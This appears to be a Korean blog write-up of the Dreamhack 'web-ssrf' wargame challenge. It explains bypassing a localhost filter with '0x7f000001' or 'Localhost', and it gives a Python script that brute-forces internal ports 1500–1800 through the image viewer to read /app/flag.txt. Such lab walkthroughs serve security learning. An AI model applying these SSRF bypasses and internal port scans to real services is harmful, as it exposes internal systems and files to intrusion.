Web/Wargame

[Dreamhack] web-ssrf

와븨 2022. 11. 4. 21:17

플래그는 /app/flag.txt에 있다는 것을 알 수 있다.

image viewer로 들어가면 url을 입력할 수 있다.

입력되어있는 url을 그대로 두고 view를 하면 이미지경로에 있는 dream.png를 보여준다.

문제 코드

사용자가 빈칸에 입력한 url이 "localhost"이거나 "127.0.0.1"일 경우, error.png를 화면에 띄운다.
즉, localhost, 127.0.0.1을 우회해서 url을 입력해야 함 => 0x7f000001 혹은 Localhost 사용

입력창에 localhost를 입력하니 error.png가 뜬 것을 확인할 수 있었다.

error.png가 뜬 상태에서 개발자 도구로 들어가면 error.png의 current source를 알아낼 수 있었다.

문제 코드

포트 번호는 1500~1800 중 하나를 랜덤으로 정한다.
=> 랜덤 포트 번호를 알아내야 한다.

즉, 1500~1800 포트 번호 중 error.png가 뜨지 않는 포트 번호가 local의 포트 번호라는 것을 알 수 있다.
따라서 error.png의 current source가 포함되지 않는 응답을 찾는 코드를 작성해 local 포트 번호를 찾아내어 local 포트 번호에서 출력하는 이미지의 current source를 찾아내면 된다.

import requests
 
url= "http://host3.dreamhack.games:10533/img_viewer"
for i in range(1500,1801):

   data = {'url':'http://Localhost:'+str(i)+'/flag.txt'}
   response = requests.post(url, data=data)
   
   if "iVBORw" not in response.text:
    print(response.text)
    break

무차별 공격을 하는 코드를 작성하고 실행하면

local 포트 번호에서 출력하는 이미지의 current source가 출력된다.
이제 이 소스를 디코딩하면 플래그를 찾아낼 수 있다.